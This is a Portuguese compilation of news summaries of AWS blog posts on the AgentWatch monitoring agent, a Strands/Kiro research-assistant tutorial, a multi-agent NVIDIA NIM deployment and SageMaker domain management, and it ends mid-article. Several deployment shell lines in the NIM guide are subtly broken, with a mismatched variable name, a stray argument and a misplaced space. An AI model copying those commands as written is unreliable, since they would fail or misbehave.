O problema do monitoramento reativo

Quem trabalha com operações em nuvem conhece bem o ciclo: alarmes do Amazon CloudWatch disparando, erros acumulando no AWS Lambda sem que ninguém perceba, e degradação de performance no Amazon Elastic Compute Cloud (Amazon EC2) que só vira problema quando o cliente liga reclamando. O time passa o dia alternando entre dashboards, triando alertas e investigando incidentes que já impactaram usuários — e o resultado é engenheiro de plantão esgotado, débito técnico crescendo e metas de Acordo de Nível de Serviço (SLA) sendo perdidas.

A raiz do problema é estrutural: as ferramentas de monitoramento atuais exigem que alguém esteja constantemente consultando, analisando e decidindo o que merece atenção. É um modelo que não escala. É nesse contexto que a AWS apresentou o AgentWatch.

O que são agentes ambientes?

Agentes ambientes representam uma mudança de paradigma em relação aos sistemas de IA tradicionais. Em vez de aguardar uma consulta direta, esses agentes escutam fluxos de eventos continuamente, respondem de forma dinâmica e processam múltiplas tarefas em paralelo — tudo isso reduzindo a carga operacional sobre as pessoas. Eles monitoram sem interrupção, mas envolvem humanos apenas nos momentos em que o julgamento humano é realmente necessário.

Para infraestrutura AWS, isso significa que um agente ambiente pode acompanhar recursos continuamente, identificar tendências e entregar inteligência acionável sem que a equipe precise abrir um dashboard manualmente ou vasculhar logs.

Apresentando o AgentWatch

O AgentWatch é um agente de monitoramento ambiente construído sobre o Modelo de Linguagem de Grande Escala (LLM) do Amazon Bedrock e implantado usando o Amazon Bedrock AgentCore Runtime — um ambiente de hospedagem serverless e seguro, criado especificamente para executar agentes de IA em escala. Com o AgentCore Runtime, agentes são disponibilizados como endpoints HTTP que podem ser chamados programaticamente, enquanto autenticação, escalabilidade e gerenciamento de infraestrutura são tratados automaticamente.

A solução implementa um modelo híbrido: algumas tarefas são totalmente autônomas (como monitorar utilização de recursos e fornecer informações de baixo risco), enquanto outras exigem aprovação humana, como analisar causas de alarmes e implementar correções. O Slack funciona como interface principal, onde o agente posta relatórios e onde a equipe pode interagir com ele sob demanda.

Três padrões de supervisão humana

Supervisão humana no ciclo de decisão (HITL — Human-in-the-Loop) é fundamental para construir agentes ambientes confiáveis. O AgentWatch implementa três padrões que equilibram autonomia com controle adequado:

Padrão de Notificação (Notify)

A cada 15 minutos (intervalo parametrizável via MonitoringSchedule rate, com opções de 5, 10, 30 ou 60 minutos), o AgentWatch gera um relatório de monitoramento cobrindo alarmes do CloudWatch, problemas críticos e saúde dos recursos em múltiplas contas AWS. O agente posta esses relatórios em um canal do Slack, mantendo a equipe informada sem exigir ação imediata. O intervalo de 15 minutos foi escolhido para equilibrar detecção ágil de problemas com uso razoável de API — rápido o suficiente para capturar issues, mas sem gerar fadiga de alertas.

Padrão de Questionamento (Question)

Quando o AgentWatch detecta um alarme crítico mas não tem clareza suficiente para decidir entre remediação automatizada ou escalada para um engenheiro de plantão, ele posta uma pergunta no Slack pedindo orientação. Esse comportamento imita o que um Engenheiro de Confiabilidade de Site (SRE) faria ao consultar um administrador sênior antes de fazer mudanças significativas em sistemas de produção.

Padrão de Revisão (Review)

Para ações potencialmente impactantes — como modificar recursos AWS, ajustar políticas de escalabilidade ou alterar thresholds de alarmes — o agente apresenta a ação proposta no Slack junto com contexto e justificativa. A equipe pode aprovar a ação, rejeitá-la ou editar os parâmetros antes da execução.

Arquitetura e implementação

O ciclo de monitoramento do AgentWatch começa com o Amazon EventBridge disparando uma função AWS Lambda a cada 15 minutos via regra cron. Essa função Lambda autentica com o Amazon Cognito usando credenciais de cliente Autorização Aberta 2.0 (OAuth 2.0) para obter um token de acesso, e então chama o AgentCore Runtime com o prompt de monitoramento.

O AgentCore instancia um agente LangChain — framework para construir aplicações baseadas em modelos de linguagem — equipado com sete ferramentas especializadas de monitoramento para infraestrutura AWS. Essas ferramentas coletam sistematicamente dados de dashboards, grupos de logs, logs de serviços, padrões de erro, status de alarmes e métricas entre contas, proporcionando visibilidade abrangente do ambiente.

Após a coleta, o agente LangChain envia os dados agregados do CloudWatch para o modelo Claude Sonnet do Amazon Bedrock, que transforma as informações brutas de monitoramento em insights contextuais e legíveis por humanos. O resumo inteligente retorna pelo agente até o AgentCore Runtime, volta para a função Lambda, que formata a análise em blocos estruturados do Slack com seções organizadas para análise de logs e status de alarmes.

A infraestrutura de implantação tem três componentes principais:

• Função Lambda: camada de orquestração que autentica com o Cognito, chama o endpoint do AgentCore Runtime e formata respostas para o Slack.
• EventBridge: fornece invocação agendada via regra configurada para disparar a cada 15 minutos.
• Amazon API Gateway: o Amazon API Gateway expõe a função Lambda como endpoint HTTP integrado ao app Slack via slash commands. Perguntas digitadas no Slack são roteadas para o API Gateway, que aciona o Lambda com a pergunta como prompt.

Essa arquitetura de duplo acionamento permite dois modos de operação: modo agendado, em que o agente roda autonomamente a cada 15 minutos postando relatórios proativos; e modo sob demanda, em que a equipe faz perguntas específicas via Slack e recebe respostas imediatas para troubleshooting interativo.

O trecho central do agente tem a seguinte estrutura:

@app.entrypoint
def agent_handler(payload: Dict[str, Any]) -> str:
    # Extract prompt and session context
    user_prompt = payload.get("prompt")
    thread_id = payload.get("session_id", "default-session")

    # Invoke agent with conversation memory
    result = monitoring_agent.invoke(
        {"messages": [{"role": "user", "content": user_prompt}]},
        {"configurable": {"thread_id": thread_id}}
    )
    return result['messages'][-1].content

Como funciona na prática

No modo de monitoramento agendado, o AgentWatch gera e posta relatórios automaticamente a cada 15 minutos, entregando visibilidade contínua da saúde da infraestrutura AWS diretamente no canal do Slack da equipe — sem intervenção manual.

No modo sob demanda, a equipe usa slash commands do Slack para investigar situações específicas. Exemplos de consultas:

• /ask What is the status of my CloudWatch alarms?
• /ask Show me recent errors in my Lambda functions
• /ask Analyze log patterns for the last hour

Casos de uso e benefícios

O AgentWatch entrega valor em múltiplos cenários operacionais. A solução identifica problemas potenciais antes que impactem usuários ao analisar continuamente métricas, logs e alarmes do CloudWatch em toda a infraestrutura AWS. Isso reduz a sobrecarga operacional — a equipe gasta menos tempo em tarefas rotineiras de monitoramento enquanto mantém visibilidade sobre a saúde dos sistemas.

A integração com Slack melhora a colaboração entre times de desenvolvimento e operações, suportando consultas em linguagem natural e discussões sobre problemas de infraestrutura. Para ambientes corporativos, o suporte multi-conta permite que grandes organizações monitorem infraestruturas AWS distribuídas a partir de um único agente centralizado.

Como começar

Para implantar o AgentWatch, é necessário ter uma conta AWS com permissões para CloudWatch, Lambda e EventBridge, um User Pool do Cognito configurado para autenticação OAuth 2.0 e um workspace do Slack com permissões para criar apps. Para desenvolvimento local e customizações, é necessário Python 3.11 ou superior.

Os comandos de configuração rápida são:

# Configurar o Provedor de Identidade
python idp_setup/setup_cognito.py

# Instalar a CLI mais recente do AgentCore
npm install -g @aws/agentcore

# Criar projeto AgentCore e trazer o código do agente existente
agentcore create --name AgentWatch --no-agent
agentcore add agent \
  --name AgentWatch \
  --type byo \
  --code-location . \
  --entrypoint ambient_agent.py \
  --language Python

# Implantar no AgentCore Runtime
agentcore deploy

# Implantar infraestrutura
cd deployment
./deploy.sh

Após a execução do script de implantação, ele fornece a URL do webhook do Slack necessária para a configuração do app. O script automatiza todo o processo: configura o provedor de identidade (Cognito), implanta o agente no AgentCore Runtime e configura a função Lambda, a regra do EventBridge e o API Gateway. As instruções completas estão disponíveis no repositório GitHub.

Segurança e boas práticas

O AgentWatch implementa múltiplas camadas de segurança: OAuth 2.0 com Cognito para acesso seguro à API, assunção de papéis do Gerenciamento de Identidade e Acesso (IAM) para permissões granulares entre contas, e o AgentCore Runtime que adiciona capacidades de segurança e conformidade de nível corporativo. Os padrões HITL ajudam a prevenir ações autônomas inadequadas, e o registro de logs fornece trilhas de auditoria e capacidades de troubleshooting.

Extensões possíveis

A arquitetura de agente ambiente construída para monitoramento pode ser estendida para outros domínios operacionais:

• Otimização de custos: adicionar ferramentas para analisar padrões de gastos e recomendar oportunidades de otimização.
• Monitoramento de segurança: integrar com AWS Security Hub e Amazon GuardDuty para detecção de ameaças.
• Relatórios de conformidade: automatizar verificações de conformidade via AWS Config e AWS CloudTrail.
• Análise de performance: aprimorar com monitoramento de performance de aplicações e recomendações de otimização.

Conclusão

O AgentWatch representa uma abordagem concreta para sair do ciclo reativo de monitoramento. Ao combinar operações autônomas com supervisão humana adequada, a solução realiza verificações de infraestrutura a cada 15 minutos, entrega relatórios acionáveis no Slack e responde a consultas em linguagem natural sobre o ambiente AWS — tudo isso mantendo a equipe informada e no controle.

A arquitetura usa os AWS Managed Services (AMS) e o Amazon Bedrock AgentCore Runtime para fornecer uma base escalável e segura para implantação de agentes ambientes. À medida que os agentes de IA se tornam mais sofisticados, arquiteturas como a do AgentWatch tendem a se tornar padrão para equipes que precisam operar com eficiência sem abrir mão do julgamento humano em decisões críticas de infraestrutura.

Para começar, acesse o AgentWatch no GitHub para instruções completas de implantação e detalhes de implementação.

Fonte

AgentWatch: Proactive AWS monitoring with ambient agents (https://aws.amazon.com/blogs/machine-learning/agentwatch-proactive-aws-monitoring-with-ambient-agents/)

O problema com o desenvolvimento de IA hoje

Construir um aplicativo de inteligência artificial não deveria exigir um doutorado em aprendizado de máquina nem meses lidando com arquiteturas complexas. Mas é exatamente isso que acontece na prática quando você tenta orquestrar múltiplas chamadas de API, gerenciar o estado de uma conversa e criar agentes capazes de raciocinar de forma autônoma.

Ideias simples de IA acabam se transformando em projetos enormes, que demandam conhecimento especializado em processamento de linguagem natural e sistemas distribuídos. É nesse contexto que a AWS publicou um tutorial mostrando como o Strands Agents muda esse cenário — permitindo construir um assistente de pesquisa completamente funcional com apenas 30 linhas de código.

O que é o Strands Agents?

O Strands Agents é um framework open source que resolve diretamente os desafios do desenvolvimento de IA. Ele oferece uma forma direta de criar agentes inteligentes capazes de realizar tarefas como pesquisa, análise e geração de conteúdo, combinando o poder dos Modelos de Linguagem de Grande Escala (LLMs) com lógica personalizada e APIs via código Python.

A abordagem do framework é orientada pelo modelo: em vez de hardcoding complexo, ele usa LLMs para raciocínio e planejamento autônomos. Isso significa que você pode criar agentes com apenas um prompt e uma lista de ferramentas, enquanto o LLM cuida da lógica e do uso das ferramentas.

Entre os principais diferenciais do Strands Agents estão:

• Arquitetura flexível: suporta desde agentes únicos até redes multi-agente e sistemas hierárquicos.
• Integração via decorator @tool: permite conectar funções externas e APIs de forma simples.
• Design agnóstico de modelo: funciona com diferentes provedores de LLM, incluindo Amazon Bedrock, Anthropic e OpenAI.
• Integração nativa com AWS: conecta-se naturalmente com Amazon Bedrock e AWS Lambda.
• Pronto para produção: equipes da AWS já utilizam o framework em serviços como Amazon Q e AWS Glue.
• Licença Apache 2.0: open source com contribuições ativas da comunidade.
• Respostas em streaming em tempo real: ideal para aplicações interativas que precisam de feedback imediato.

Para um aprofundamento técnico, a AWS disponibilizou o artigo Strands Agents SDK: um mergulho técnico em arquiteturas de agentes e observabilidade.

O papel do Kiro nessa equação

Além do Strands Agents, a AWS apresenta o Kiro, um Ambiente de Desenvolvimento Integrado (IDE) com IA que escreve código para que os desenvolvedores possam focar nas decisões. O Kiro possui um sistema de extensões chamado Kiro Powers, que empacota servidores MCP, arquivos de direcionamento e hooks em unidades reutilizáveis.

O Strands power, por exemplo, reúne busca na documentação do SDK, guias de introdução e padrões corretos de API para que o Kiro possa estruturar agentes com precisão. Com mais de 50 extensões curadas da AWS, parceiros e da comunidade — cobrindo design, implantação, segurança e observabilidade — a instalação é feita com um clique.

Pré-requisitos para começar

Antes de partir para o código, a AWS lista o que você precisa ter configurado:

• Uma conta AWS ativa.
• Usuário configurado no AWS IAM Identity Center ou Builder ID.
• Kiro instalado.
• Credenciais AWS configuradas para acessar o Amazon Bedrock via AWS IAM Identity Center (abordagem recomendada para acesso humano).

Para configurar e fazer login, os comandos são:

aws configure sso
aws sso login --profile research-assistant

Em seguida, é necessário anexar uma política inline de Gerenciamento de Identidade e Acesso (IAM) com escopo reduzido à função ou conjunto de permissões utilizado. Essa política concede apenas as permissões necessárias para o tutorial — invocar o modelo Claude Sonnet via Amazon Bedrock:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "bedrock:InvokeModel",
        "bedrock:Converse"
      ],
      "Resource": "arn:aws:bedrock:us-west-2::foundation-model/anthropic.claude-3-5-sonnet-20241022-v2:0"
    }
  ]
}

Por fim, adicione o power Build an agent with Strands ao Kiro.

Construindo o assistente de pesquisa

O primeiro agente em minutos

O ponto de partida é instalar o SDK do Strands Agents e o Streamlit no terminal do Kiro:

pip install strands-agents
pip install streamlit

Com isso, já é possível criar o primeiro agente em um arquivo Python chamado research.py:

from strands import Agent

# Create an agent with default settings
agent = Agent()

# Ask the agent a question
agent("Tell me about agentic AI")

Para executá-lo:

python -u research.py

Simples assim. Com essa base estabelecida, o próximo passo é evoluir para uma aplicação web com interface interativa.

Gerando o assistente completo com o Kiro

Aqui entra a vantagem do Kiro: usando linguagem natural, é possível descrever os requisitos e deixar o IDE gerar a implementação. O processo consiste em abrir o Kiro, criar um novo arquivo Python (por exemplo, research_assistant.py) e fornecer o seguinte prompt:

Create a Streamlit research assistant app using strands Agent library with these exact requirements:
1. App title: "Research Assistant" with subtitle "Enter a topic to get research analysis and recommendations"
2. Text input field with placeholder "e.g., renewable energy, artificial intelligence"
3. "Generate Research Report" button that when clicked:
   - Shows spinner with "Researching and analyzing..." message
   - Redirects stdout to prevent terminal output interference (import sys, os and use devnull)
   - Creates Agent() instance
   - Uses this exact prompt template:
     "You are a research assistant. For the topic '{topic}':
     1. Overview of the topic in about 50 words
     2. Find recent 2 articles about {topic} in 20 words each
     3. Things to know relevant to the topic and description as prerequisites in 20 words each
        like if topic is agentic ai then prereq is machine learning and generative ai
     4. 2 key contributors and well known people in this field of research topic including their bio in 25 words each
     5. give relevant 2 urls to read more and any research papers from https://arxiv.org/"
   - Displays response using st.subheader(f"Research Report: {topic}") and st.write(response.message['content'][0]['text'])
   - Restores stdout in finally block
   - Shows warning if no topic entered
Use try/finally pattern for stdout redirection. Keep code minimal and functional.

O código gerado pelo Kiro é o seguinte:

import sys
import os
import streamlit as st
from strands import Agent

st.title("Research Assistant")
st.write("Enter a topic to get research analysis and recommendations")

topic = st.text_input("Research Topic", placeholder="e.g., renewable energy, artificial intelligence")

if st.button("Generate Research Report"):
    if topic:
        with st.spinner("Researching and analyzing..."):
            old_stdout = sys.stdout
            try:
                sys.stdout = open(os.devnull, "w")
                agent = Agent()
                response = agent(
                    f"You are a research assistant. For the topic '{topic}': "
                    f"1. Overview of the topic in about 50 words "
                    f"2. Find recent 2 articles about {topic} in 20 words each "
                    f"3. Things to know relevant to the topic and description as prerequisites in 20 words each "
                    f"like if topic is agentic ai then prereq is machine learning and generative ai "
                    f"4. 2 key contributors and well known people in this field of research topic including their bio in 25 words each "
                    f"5. give relevant 2 urls to read more and any research papers from https://arxiv.org/"
                )
            finally:
                sys.stdout = old_stdout
        st.subheader(f"Research Report: {topic}")
        st.write(response.message["content"][0]["text"])
    else:
        st.warning("Please enter a topic to research.")

Observação importante: sem uma ferramenta de navegação web, o agente gera URLs a partir do seu conhecimento de treinamento. Esses links podem não refletir os artigos mais recentes. Para recuperação em tempo real, é necessário adicionar um servidor MCP apropriado como ferramenta.

Executando a aplicação

No terminal, navegue até o diretório onde o arquivo research_assistant.py foi salvo e execute:

streamlit run research_assistant.py

O Streamlit abrirá a interface no navegador. Basta inserir um tópico de interesse e clicar em “Generate Research Report” para receber o relatório de pesquisa.

Uso responsável de servidores MCP

O tutorial da AWS traz recomendações importantes sobre o uso de servidores MCP:

• Fixe o servidor MCP em uma versão ou hash de commit específico (por exemplo, pip install "arxiv-mcp==X.Y.Z").
• Revise o código-fonte antes de instalar.
• Para casos de uso em produção, a recomendação é usar a recuperação nativa do Amazon Bedrock (Knowledge Bases/RAG).
• Para implantações voltadas ao cliente ou entre organizações, passe servidores MCP de terceiros pelo processo de revisão jurídica e de segurança da sua organização.
• Servidores MCP compartilham os privilégios do processo do agente, incluindo quaisquer credenciais AWS disponíveis. Trate-os como parte do seu perímetro de confiança.
• Para cargas de trabalho em produção, considere os servidores MCP remotos gerenciados pela AWS via Amazon Bedrock AgentCore, que oferecem isolamento de processo, autenticação centralizada e eliminam a exposição local de credenciais.

Considerações de segurança para produção

A AWS reforça que o tutorial é um ponto de partida, e que antes de levar qualquer aplicação baseada nesse padrão para produção, é essencial considerar os seguintes pontos:

• Valide a entrada do usuário: limite o tamanho do tópico e remova caracteres não imprimíveis antes de passar a string para o agente.
• Habilite o Amazon Bedrock Guardrails: anexe um guardrail à chamada do modelo para filtragem de injeção de prompt e saídas inadequadas. Saiba mais em Detectar e filtrar conteúdo prejudicial usando o Amazon Bedrock Guardrails.
• Ative o logging: habilite o registro de invocação de modelos no Amazon Bedrock e os eventos de dados do AWS CloudTrail para bedrock:InvokeModel e bedrock:Converse.
• Controle de custos: configure um alarme de cota sob demanda no Amazon Bedrock e um limite de consultas por sessão para evitar esgotamento de custos.
• Classifique dados persistidos: se armazenar histórico de conversas, classifique os dados e remova valores sensíveis antes de gravar.
• Revise o modelo de responsabilidade compartilhada: consulte o Modelo de Responsabilidade Compartilhada da AWS para entender a divisão entre o que a AWS gerencia e o que é responsabilidade do cliente.

Além disso, o tutorial alerta que o streamlit run vincula ao endereço 127.0.0.1 por padrão, tornando a interface acessível apenas localmente. Não exponha a aplicação à rede local ou à internet sem adicionar autenticação, proteção contra CSRF e um limite de custo no Amazon Bedrock.

Conclusão

O tutorial da AWS demonstra como o Strands Agents, combinado com as capacidades de geração de código do Kiro, permite construir funcionalidades sofisticadas de IA com uma quantidade mínima de código. O framework reduz a complexidade do desenvolvimento de IA por meio de uma criação de agentes intuitiva, enquanto o Kiro aumenta a produtividade do desenvolvedor por meio de codificação assistida por IA.

As aplicações resultantes são ao mesmo tempo poderosas e fáceis de manter, com modificações personalizadas feitas rapidamente via engenharia de prompt. Para quem quer explorar mais sobre o Strands Agents, a AWS disponibilizou o artigo introdutório Apresentando o Strands Agents, um SDK de Agentes de IA Open Source.

Fonte

From idea to AI app: Creating intelligent research assistants with Strands (https://aws.amazon.com/blogs/machine-learning/from-idea-to-ai-app-creating-intelligent-research-assistants-with-strands/)

O desafio de levar agentes de IA para produção

Construir agentes de IA generativa que realmente funcionem em produção é bem diferente de fazer um protótipo rodar no notebook. Quando você começa a lidar com cargas reais — milhares de interações simultâneas, contexto que precisa persistir entre chamadas, múltiplos agentes operando em paralelo — os problemas aparecem rapidamente.

A AWS publicou um guia técnico detalhado que endereça exatamente esse cenário. O objetivo é mostrar como combinar três tecnologias complementares para resolver os principais gargalos de sistemas multi-agente em produção: inferência lenta sob carga, perda de contexto entre interações e dificuldade de observar o que os agentes estão fazendo.

A solução proposta combina NVIDIA NIM para inferência acelerada por GPU, Amazon Bedrock AgentCore como runtime gerenciado com memória e observabilidade integradas, e Strands Agents para orquestração serverless de múltiplos agentes.

Por que esses três problemas são críticos

Antes de entrar na arquitetura, vale entender o que a AWS identifica como os três desafios centrais ao escalar sistemas de agentes:

• Latência de inferência sob carga concorrente: à medida que o volume de requisições cresce, o tempo de resposta aumenta significativamente, degradando a experiência do usuário.
• Ambientes de execução sem estado: agentes que não mantêm contexto entre interações acabam repetindo trabalho ou produzindo respostas inconsistentes.
• Visibilidade limitada: sem observabilidade adequada, diagnosticar falhas, entender o raciocínio dos agentes e controlar custos operacionais se torna muito difícil.

Esses problemas se amplificam em sistemas multi-agente, onde vários agentes precisam rodar em paralelo, compartilhar contexto e agregar resultados de forma coordenada.

Visão geral da arquitetura

O exemplo prático construído no guia é um sistema de revisão de campanhas de marketing com três agentes especializados que operam em paralelo:

• Agente de persona: avalia o conteúdo da campanha sob diferentes perspectivas de público-alvo e gera pontuações de ressonância.
• Agente validador: verifica o conteúdo contra diretrizes legais e de marca.
• Agente finalizador: agrega os resultados dos dois agentes anteriores e produz um conjunto consolidado de recomendações.

O fluxo começa com o envio de documentos por um frontend construído em React, que consulta os resultados de forma assíncrona e exibe o feedback dos agentes conforme fica disponível.

Embora o exemplo seja de revisão de marketing, a AWS deixa claro que o mesmo padrão se aplica a assistentes digitais, automação de revisões e pipelines de geração aumentada por recuperação (RAG).

Como cada componente contribui

NVIDIA NIM: inferência acelerada sem gerenciar infraestrutura de GPU

A solução utiliza as APIs hospedadas do NVIDIA NIM disponíveis via build.nvidia.com para entregar inferência de alta performance como serviço totalmente gerenciado. Esses endpoints executam modelos de linguagem otimizados em backends de GPU gerenciados pela NVIDIA, usando tecnologias como Arquitetura Unificada de Computação em Dispositivo (CUDA) e TensorRT-LLM para fornecer respostas com baixa latência e alto throughput.

Um ponto importante: o NIM expõe APIs de Chat Completion compatíveis com o padrão OpenAI. Isso significa que ele se integra à camada de orquestração baseada em Strands sem precisar de adaptações específicas para cada modelo.

Strands Agents: orquestração multi-agente sem servidor

O Strands Agents é o framework multi-agente da AWS para coordenar fluxos de trabalho baseados em ferramentas e raciocínio. Com ele, é possível modelar as interações entre agentes de forma explícita, facilitando o gerenciamento de execução paralela, controle de fluxo e agregação de resultados entre múltiplos agentes.

Na prática, o orquestrador Strands e os agentes especializados são empacotados juntos como um container Docker e implantados no Amazon Bedrock AgentCore Runtime.

Amazon Bedrock AgentCore: runtime, memória e observabilidade

O Amazon Bedrock AgentCore atua em três frentes complementares:

• Runtime gerenciado: o AgentCore Runtime oferece um ambiente de execução com checkpointing e capacidades de recuperação, permitindo que os agentes se recuperem de interrupções e escalem para milhares de invocações simultâneas sem gerenciamento manual de infraestrutura.
• Observabilidade: o AgentCore Observability fornece visualizações detalhadas de cada etapa do fluxo dos agentes, permitindo inspecionar caminhos de execução, auditar saídas intermediárias e depurar gargalos de performance. Métricas operacionais como latência, uso de tokens e taxas de erro ficam disponíveis via Amazon CloudWatch.
• Memória compartilhada: o AgentCore Memory mantém contexto compartilhado entre invocações dos agentes e suporta conversas com múltiplos turnos. Isso também abre caminho para implementar interfaces de linguagem natural, já que o serviço tem suporte nativo para armazenar estado e histórico de conversas.

Implantação com AWS SAM

Um dos aspectos centrais da solução é a facilidade de implantação usando um template do Modelo de Aplicação Serverless da AWS (AWS SAM). O template provisiona uma interface do Amazon API Gateway que empacota e implanta os agentes Strands com todas as suas dependências, habilitando automaticamente o AgentCore Observability e o AgentCore Memory.

O código completo está disponível no repositório no GitHub. A seguir, os passos de implantação descritos no guia original:

Pré-requisitos

Antes de implantar, é necessário ter instalado:

• Interface de Linha de Comando da AWS (AWS CLI)
• AWS SAM CLI v1.100.0+
• Docker v20.x+
• Node.js v18.x+
• Python v3.11+

As dependências Python empacotadas no Dockerfile incluem: strands-agents, strands-agents-tools, requests, bedrock-agentcore e boto3.

Vale observar que o uso do NVIDIA NIM exige aceitar o Contrato de Licença de Usuário Final (EULA) do NVIDIA AI Enterprise, disponível durante a assinatura no AWS Marketplace ou no registro no NGC.

Passo a passo de implantação

Passo 1: Clonar o repositório

git clone <respository url>
cd aws-genai-campaign-review-strands-agentcore

Passo 2: Configurar credenciais AWS

aws configure
aws sts get-caller-identity

Passo 3: Configurar a tabela de personas no Amazon DynamoDB

chmod +x scripts/setup_persona_table.sh
./scripts/setup_persona_table.sh

Passo 4: Construir a aplicação AWS SAM

sam build

Passo 5: Implantar a infraestrutura

sam deploy --guided

Use a implantação guiada e siga os prompts para fornecer o nome da stack, nome do agente, região AWS e aceite os valores padrão para as demais opções.

Passo 6: Obter as saídas da implantação

aws cloudformation describe-stacks --stack-name <Your stack name> --query 'Stacks[0].Outputs' --output table

Salve os seguintes valores: ApiEndpoint, CampaignOrchestratorApi, CloudFrontURL e FrontendBucket.

Passo 7: Implantar o agente no AgentCore Runtime

curl -X POST <DeployAgentApiEndpoint> -H "Content-Type: application/json" -d '{"action":"deploy","agent_name":"<your agent name>"}'

Esse processo leva aproximadamente 5 minutos. O API Gateway expira em 29 segundos, mas a função AWS Lambda continua executando. Monitore o progresso com:

aws logs tail /aws/lambda/deploy-agentcore --region <your AWS region> --follow

Aguarde até ver as mensagens Agent Core Runtime is READY! e Wrote Agent ARN to SSM. Para verificar:

aws ssm get-parameter --name /agentcore/<your agent name>/agent-arn --region <your AWS region>

Passo 8: Configurar o ambiente do frontend

PI_URL=$(aws cloudformation describe-stacks --stack-name <your stack name> --query 'Stacks[0].Outputs[?OutputKey==`ApiEndpoint`].OutputValue' --output text)
AGENT_API_URL=$(aws cloudformation describe-stacks --stack-name <your stack name> -review --query 'Stacks[0].Outputs[?OutputKey==`CampaignOrchestratorApi`].OutputValue' --output text)

cat > .env << EOF
VITE_API_URL=$API_URL
VITE_AGENT_API_URL=$AGENT_API_URL
VITE_AWS_REGION= <your AWS region>
EOF

Passo 9: Construir e implantar o frontend

npm install
npm run build

FRONTEND_BUCKET= $(aws cloudformation describe-stacks --stack-name unified-campaign-review --query 'Stacks[0].Outputs[?OutputKey==`FrontendBucket`].OutputValue' --output text)

aws s3 sync dist/ s3://$FRONTEND_BUCKET --delete

Para invalidar o cache do CloudFront (opcional, para atualizações):

DISTRIBUTION_ID=$(aws cloudfront list-distributions --query "DistributionList.Items[?Origins.Items[0].DomainName=='${FRONTEND_BUCKET}.s3.us-west-2.amazonaws.com'].Id" --output text)
aws cloudfront create-invalidation --distribution-id $DISTRIBUTION_ID --paths "/*"

Passo 10: Acessar a aplicação

aws cloudformation describe-stacks --stack-name unified-campaign-review --query 'Stacks[0].Outputs[?OutputKey==`CloudFrontURL`].OutputValue' --output text

Abra a URL no navegador para acessar a aplicação. Use o arquivo campaign_brief.md como documento de campanha de exemplo e faça o upload no painel esquerdo. O resultado da revisão produzido pela orquestração multi-agente aparecerá no painel direito.

Para visualizar o detalhamento de cada etapa do fluxo dos agentes, acesse o console do Bedrock AgentCore Observability e selecione o seu agente.

Limpeza de recursos

Para evitar cobranças recorrentes após testar a solução, remova os recursos criados:

sam delete --stack-name unified-campaign-review
aws dynamodb delete-table --table-name PersonaTable --region us-west-2

O que essa arquitetura resolve na prática

A separação entre inferência e coordenação de agentes é o ponto central do design. Ao desacoplar o NVIDIA NIM (responsável pela inferência) do Strands Agents (responsável pela orquestração) e do AgentCore (responsável pelo runtime e estado), cada camada pode escalar de forma independente.

Isso significa que você pode aumentar a capacidade de inferência sem reconfigurar a orquestração, ou ajustar a lógica dos agentes sem tocar na infraestrutura de GPU. A memória compartilhada via AgentCore garante que o contexto persista entre chamadas, eliminando o problema de agentes “amnésicos” que repetem trabalho desnecessariamente.

A observabilidade integrada fecha o ciclo: em vez de operar no escuro, equipes de engenharia conseguem inspecionar cada etapa do raciocínio dos agentes, identificar onde a latência está aumentando e auditar saídas intermediárias antes que cheguem ao usuário final.

O padrão demonstrado — inferência acelerada, orquestração serverless, contexto persistente e visibilidade operacional — oferece uma base concreta para quem está construindo sistemas de agentes que precisam ir além do protótipo e operar de forma confiável em produção.

Fonte

Build high-performance generative AI systems with Strands Agents, NVIDIA NIM, and Amazon Bedrock AgentCore (https://aws.amazon.com/blogs/machine-learning/build-high-performance-generative-ai-systems-with-strands-agents-nvidia-nim-and-amazon-bedrock-agentcore/)

O que mudou no gerenciamento de domínios do SageMaker

A AWS anunciou uma expansão importante no Amazon SageMaker Unified Studio: o gerenciamento de domínios agora cobre tanto domínios baseados em Gerenciamento de Identidade e Acesso (IAM) quanto domínios baseados em Identity Center (IDC) — e tudo isso fora do console tradicional da AWS.

Antes dessa atualização, as capacidades de administração de domínios pelo portal do SageMaker Unified Studio estavam restritas apenas a domínios IAM. Com a novidade, administradores de domínios baseados em Identity Center também passam a ter acesso completo a essas funcionalidades diretamente pelo portal.

O que os administradores podem fazer agora

Com essa expansão, equipes de administração e gerenciamento de dados ganham um conjunto robusto de capacidades para domínios baseados em Identity Center. Entre as principais funcionalidades disponíveis, estão:

• Criação e gerenciamento de projetos com funções de execução configuráveis, que definem quais serviços de análise, IA e Machine Learning (ML) da AWS cada projeto pode acessar.
• Configuração de identidade da força de trabalho, permitindo controlar como usuários se autenticam e são reconhecidos dentro do ambiente.
• Gerenciamento de usuários e permissões, centralizando o controle de acesso diretamente no portal.
• Definição de propriedades de rede, incluindo configuração de Nuvem Privada Virtual (VPC), sub-redes e grupos de segurança.

Configuração de rede consistente entre os tipos de domínio

Um ponto relevante dessa atualização é a padronização da configuração de VPC. A AWS garantiu que a configuração de rede seja consistente para ambos os tipos de domínio — IAM e Identity Center. As configurações de VPC são herdadas por todos os projetos dentro do domínio e podem ser editadas para alterar a VPC, as sub-redes ou o grupo de segurança conforme necessário.

Gerenciamento de contas associadas

Outro recurso que chama atenção é a possibilidade de gerenciar contas associadas. Com isso, usuários podem publicar e consumir dados de outras contas AWS diretamente dentro do SageMaker Unified Studio — um facilitador importante para organizações que trabalham com arquiteturas multi-conta.

Disponibilidade

Todos esses recursos estão disponíveis em todas as regiões AWS onde o Amazon SageMaker Unified Studio está disponível. Para se aprofundar nas configurações e começar a usar, a AWS disponibiliza a documentação oficial sobre administração de domínios para domínios baseados em Identity Center.

Fonte

Amazon SageMaker expands domain management across domain types (https://aws.amazon.com/about-aws/whats-new/2026/05/domain-management-iam-idc/)

O que foi anunciado

A AWS anunciou que o Amazon SageMaker Unified Studio agora oferece suporte a contexto de negócio, metadados e capacidades de governança de dados em domínios baseados em Gerenciamento de Identidade e Acesso (IAM). A novidade amplia significativamente o que equipes de dados podem fazer dentro da plataforma, sem precisar sair do ambiente do SageMaker.

O que muda na prática

Com essa atualização, clientes que utilizam domínios IAM do Amazon SageMaker podem enriquecer as tabelas do AWS Glue Data Catalog com informações de contexto de negócio. Isso inclui nomes amigáveis, descrições e documentação no formato README — recursos que tornam o catálogo de dados muito mais compreensível para diferentes perfis de usuário dentro de uma organização.

